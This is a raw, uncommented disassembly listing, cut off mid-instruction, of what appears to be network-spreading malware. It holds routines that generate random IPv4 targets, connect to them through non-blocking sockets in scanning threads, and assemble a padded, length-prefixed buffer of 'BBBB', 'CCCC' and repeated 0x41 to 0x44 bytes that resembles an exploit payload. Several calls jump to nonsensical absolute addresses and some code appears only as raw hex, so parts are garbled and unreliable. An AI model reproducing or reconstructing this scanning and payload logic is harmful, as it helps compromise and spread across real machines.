dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C014 xor eax, eax jmp short loc_40C085 ; --------------------------------------------------------------------------- loc_40C014: ; CODE XREF: sub_40BFEC+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C041 call sub_41B8E2 mov [ebp+var_C], eax loc_40C041: ; CODE XREF: sub_40BFEC+4Bj cmp [ebp+var_8], esi jnz short loc_40C04E call sub_41B8E2 mov [ebp+var_8], eax loc_40C04E: ; CODE XREF: sub_40BFEC+58j cmp [ebp+var_4], esi jnz short loc_40C05B call sub_41B8E2 mov [ebp+var_4], eax loc_40C05B: ; CODE XREF: sub_40BFEC+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C067 call sub_41B8E2 loc_40C067: ; CODE XREF: sub_40BFEC+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB7A0[ecx*8], eax loc_40C085: ; CODE XREF: sub_40BFEC+26j pop esi leave retn sub_40BFEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C088 proc near ; CODE XREF: ___:0040B8FBp ; sub_40C125+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB6D4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B1 xor eax, eax jmp short loc_40C120 ; --------------------------------------------------------------------------- loc_40C0B1: ; CODE XREF: sub_40C088+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB654 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB6F0 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB5FC mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB63C push esi mov edi, eax call dword_4CB6EC xor eax, eax cmp edi, ebx setnle al loc_40C120: ; CODE XREF: sub_40C088+27j pop edi pop esi pop ebx leave retn sub_40C088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C125 proc near ; DATA XREF: sub_40C125+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26C066Dh push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16C: ; CODE XREF: sub_40C125+204j mov eax, dword_43E594[ebx] cmp dword_4CB7A4[eax*8], 0 jz loc_40C32E cmp [ebp+var_10], 0 push eax jz short loc_40C196 lea eax, [ebp+var_150] push eax call sub_40BFEC pop ecx jmp short loc_40C19B ; --------------------------------------------------------------------------- loc_40C196: ; CODE XREF: sub_40C125+60j call sub_40BFA4 loc_40C19B: ; CODE XREF: sub_40C125+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E594[ebx] push [ebp+var_3C] push edi call dword_4CB6E0 push eax lea eax, [ebp+var_28C] push offset unk_43216C push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E390[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C088 add esp, 14h cmp eax, 1 jnz loc_40C31E cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C272 push offset dword_4CD7A0 call near ptr 77F7E21Fh nop push [ebp+var_3C] push edi call dword_4CB6E0 push eax lea eax, [ebp+var_28C] push offset unk_432144 push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C254 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C248 lea eax, [ebp+var_140] loc_40C248: ; CODE XREF: sub_40C125+11Bj push eax push [ebp+var_40] call sub_409A73 add esp, 14h loc_40C254: ; CODE XREF: sub_40C125+100j lea eax, [ebp+var_28C] push eax call sub_4151AD mov [esp+29Ch+var_29C], offset dword_4CD7A0 nop call near ptr 77F7E300h jmp loc_40C31E ; --------------------------------------------------------------------------- loc_40C272: ; CODE XREF: sub_40C125+D0j push edi call dword_4CB6E0 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B7 lea eax, [ebp+var_140] loc_40C2B7: ; CODE XREF: sub_40C125+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431B04[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31E: ; CODE XREF: sub_40C125+C6j ; sub_40C125+148j push 7D0h nop call near ptr 26A0F44h jmp loc_40C16C ; --------------------------------------------------------------------------- loc_40C32E: ; CODE XREF: sub_40C125+55j push esi call sub_40B413 pop ecx push 0 call near ptr 2710000h nop loc_40C33D: ; DATA XREF: sub_401ACD+1F82o ; sub_401ACD+5C49o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CB694 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB7A0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACE push 0Bh call sub_40B33F add esp, 150h cmp eax, ebx jnz short loc_40C40B mov esi, offset dword_4CD7A0 push esi nop call near ptr 2710726h push 80000400h push esi nop call near ptr 27105B2h test eax, eax jnz short loc_40C40B lea eax, [ebp+var_1CC] push offset unk_432250 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F5 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A73 add esp, 14h loc_40C3F5: ; CODE XREF: sub_40C125+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AD pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40B: ; CODE XREF: sub_40C125+27Bj ; sub_40C125+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB7A4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D8 loc_40C429: ; CODE XREF: sub_40C125+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_43221C push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F7 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E594[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C125 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40C4A3 loc_40C498: ; CODE XREF: sub_40C125+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4CA push 1Eh call esi jmp short loc_40C498 ; --------------------------------------------------------------------------- loc_40C4A3: ; CODE XREF: sub_40C125+371j nop call near ptr 26B0857h push eax lea eax, [ebp+var_1CC] push offset unk_4321E4 push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AD add esp, 10h loc_40C4CA: ; CODE XREF: sub_40C125+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C429 loc_40C4D8: ; CODE XREF: sub_40C125+2FEj cmp [ebp+var_30], ebx jz loc_40C582 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4ED: ; CODE XREF: sub_40C125+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB7A0[eax*8] push eax call dword_4CB6E0 push eax lea eax, [ebp+var_1CC] push offset unk_4321A4 push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53B push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A73 add esp, 14h loc_40C53B: ; CODE XREF: sub_40C125+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AD mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB7A4[eax*8], ebx call esi push 0Bh call sub_40B33F cmp eax, 1 pop ecx jnz short loc_40C572 push offset dword_4CD7A0 nop call near ptr 2710726h loc_40C572: ; CODE XREF: sub_40C125+440j push [ebp+var_2C] call sub_40B413 pop ecx push ebx call near ptr 2710000h nop loc_40C582: ; CODE XREF: sub_40C125+3B6j ; sub_40C125+475j mov eax, [ebp+var_2C] cmp dword_4CB7A4[eax*8], 1 jnz loc_40C4ED push 7D0h call esi jmp short loc_40C582 sub_40C125 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59C proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB654 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB6D4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C65A lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB5FC mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E59C[ecx], esi jz short loc_40C65A push [ebp+var_38] push [ebp+var_28] call dword_4CB6E0 push eax mov edi, offset dword_4CE164 push offset dword_432284 push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A73 push edi call sub_4151AD add esp, 28h loc_40C65A: ; CODE XREF: sub_40C59C+5Dj ; sub_40C59C+7Ej push esi call dword_4CB6EC pop edi xor eax, eax pop esi leave retn 4 sub_40C59C endp ; --------------------------------------------------------------------------- byte_40C669 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+603Fo dd 134EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 4CBD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh dd 50004322h, 0F1D1E8h, 0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h dd 234C069h, 90050000h, 500043E3h, 0EF1BE8h, 1CC48300h dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h, 0E8575700h dd 22A3910h, 89C73B90h, 0B74FC45h, 75F47D39h, 0FF326A06h dd 0FFF5EBD6h, 0E890FC75h, 2284228h, 8CB3FFh, 0BB890000h dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h, 4CB650h dd 8D084589h, 46A0845h, 0E0458D50h, 0FBBEE850h, 0C4830000h dd 0FF3DE90Ch db 2 dup(0FFh) word_40C75A dw 8B55h ; DATA XREF: sub_401ACD+5D4Fo dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh dd 432300h, 0F0E0E850h, 858D0000h, 0FFFFFED0h, 1FF68h dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h dd 57570040h, 2A381FE8h, 0C73B9002h, 74084589h, 0F87D390Bh dd 326A0675h, 0F5EBD6FFh, 0E80875FFh, 2284138h, 8CB3FF90h dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; =============== S U B R O U T I N E ======================================= sub_40C867 proc near ; CODE XREF: sub_40CADB+Ep ; sub_40CADB+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C867 endp ; =============== S U B R O U T I N E ======================================= sub_40C871 proc near ; CODE XREF: sub_40CADB+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A3 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A3: ; CODE XREF: sub_40C871+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AB proc near ; CODE XREF: sub_40C9A5+18p ; sub_40CA1F+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F7 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F7: ; CODE XREF: sub_40C8AB+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AB endp ; =============== S U B R O U T I N E ======================================= sub_40C900 proc near ; CODE XREF: sub_40C9A5+5Ep ; sub_40C9A5+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C910 push eax call sub_41B0B1 pop ecx loc_40C910: ; CODE XREF: sub_40C900+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C900 endp ; =============== S U B R O U T I N E ======================================= sub_40C919 proc near ; CODE XREF: sub_40C9A5+20p ; sub_40CA80+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C946 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C94A loc_40C946: ; CODE XREF: sub_40C919+Dj xor al, al jmp short loc_40C9A1 ; --------------------------------------------------------------------------- loc_40C94A: ; CODE XREF: sub_40C919+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96F mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C989 ; --------------------------------------------------------------------------- loc_40C96F: ; CODE XREF: sub_40C919+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C989: ; CODE XREF: sub_40C919+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A1: ; CODE XREF: sub_40C919+2Fj pop edi pop esi pop ebx retn sub_40C919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A5 proc near ; CODE XREF: sub_40CADB+89p ; sub_40CADB+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CB50C call sub_40C8AB lea ecx, [ebp+var_8] call sub_40C919 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DF xor al, al jmp short loc_40CA1B ; --------------------------------------------------------------------------- loc_40C9DF: ; CODE XREF: sub_40C9A5+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C900 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C900 mov al, 1 loc_40CA1B: ; CODE XREF: sub_40C9A5+38j pop edi pop esi leave retn sub_40C9A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1F proc near ; CODE XREF: sub_40CA53+14p ; sub_40CA70+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AB mov ecx, esi call sub_40C900 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1F endp ; =============== S U B R O U T I N E ======================================= sub_40CA53 proc near ; CODE XREF: sub_40CADB+F0p ; sub_40CADB+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1F pop esi retn 4 sub_40CA53 endp ; =============== S U B R O U T I N E ======================================= sub_40CA70 proc near ; CODE XREF: sub_40CABC+Bp ; sub_40CADB+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1F retn 8 sub_40CA70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA80 proc near ; CODE XREF: sub_40CABC+16p ; sub_40CADB+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C919 test al, al jz short loc_40CAB9 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CFE4 call sub_40C8AB mov ecx, esi call sub_40C900 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB9: ; CODE XREF: sub_40CA80+Fj pop esi leave retn sub_40CA80 endp ; =============== S U B R O U T I N E ======================================= sub_40CABC proc near ; CODE XREF: sub_40CADB+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA70 test al, al jz short loc_40CAD7 mov ecx, esi call sub_40CA80 loc_40CAD7: ; CODE XREF: sub_40CABC+12j pop esi retn 8 sub_40CABC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADB proc near ; CODE XREF: ___:0040D362p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C867 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2F mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2F push esi lea ecx, [ebp+var_30] call sub_40C867 lea ecx, [ebp+var_20] call sub_40C867 lea ecx, [ebp+var_50] call sub_40C867 lea ecx, [ebp+var_18] call sub_40C867 lea ecx, [ebp+var_40] call sub_40C867 lea ecx, [ebp+var_38] call sub_40C867 lea ecx, [ebp+var_28] call sub_40C867 push 4 push offset dword_432338 lea ecx, [ebp+var_30] call sub_40CA1F push 3 push offset dword_432340 lea ecx, [ebp+var_30] call sub_40CA1F lea ecx, [ebp+var_30] call sub_40C9A5 lea ecx, [ebp+var_30] call sub_40CA80 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1F push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1F mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1F lea ecx, [ebp+var_20] call sub_40C9A5 push offset loc_4326BC lea ecx, [ebp+var_50] call sub_40CA53 lea ecx, [ebp+var_50] call sub_40C9A5 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C871 lea ecx, [ebp+var_58] call sub_40C9A5 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABC lea ecx, [ebp+var_58] call sub_40C900 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA53 push 4 push offset dword_432344 lea ecx, [ebp+var_18] call sub_40CA1F push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1F sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1F lea ecx, [ebp+var_18] call sub_40C9A5 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA70 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA70 lea ecx, [ebp+var_40] call sub_40CA80 lea ecx, [ebp+var_18] call sub_40C900 lea ecx, [ebp+var_50] call sub_40C900 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA70 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA70 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA70 lea ecx, [ebp+var_38] call sub_40CA80 lea ecx, [ebp+var_20] call sub_40C900 lea ecx, [ebp+var_30] call sub_40C900 lea ecx, [ebp+var_40] call sub_40C900 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1F lea ecx, [ebp+var_28] call sub_40C9A5 push 2 push offset dword_4326B0 lea ecx, [ebp+var_28] call sub_40CA1F push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA70 lea ecx, [ebp+var_28] call sub_40CA80 lea ecx, [ebp+var_38] call sub_40C900 lea ecx, [ebp+var_10] call sub_40C867 lea ecx, [ebp+var_8] call sub_40C867 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA70 lea ecx, [ebp+var_10] call sub_40C919 lea ecx, [ebp+var_28] call sub_40C900 push offset dword_4326AC lea ecx, [ebp+var_8] call sub_40CA53 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C919 lea ecx, [ebp+var_10] call sub_40C900 push offset dword_4326A8 lea ecx, [ebp+var_10] call sub_40CA53 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA70 lea ecx, [ebp+var_10] call sub_40C919 lea ecx, [ebp+var_8] call sub_40C900 push offset dword_43269C lea ecx, [ebp+var_8] call sub_40CA53 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C919 lea ecx, [ebp+var_10] call sub_40C900 push (offset loc_432697+1) lea ecx, [ebp+var_48] call sub_40CA53 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C900 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3D ; --------------------------------------------------------------------------- loc_40CE2F: ; CODE XREF: sub_40CADB+1Bj ; sub_40CADB+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3D: ; CODE XREF: sub_40CADB+352j pop edi pop ebx leave retn sub_40CADB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE41 proc near ; CODE XREF: sub_40CF05+A1p ; sub_40CF05+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call near ptr 71AB1890h nop cmp eax, edi jnz short loc_40CEA8 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAC loc_40CEA8: ; CODE XREF: sub_40CE41+54j xor eax, eax jmp short 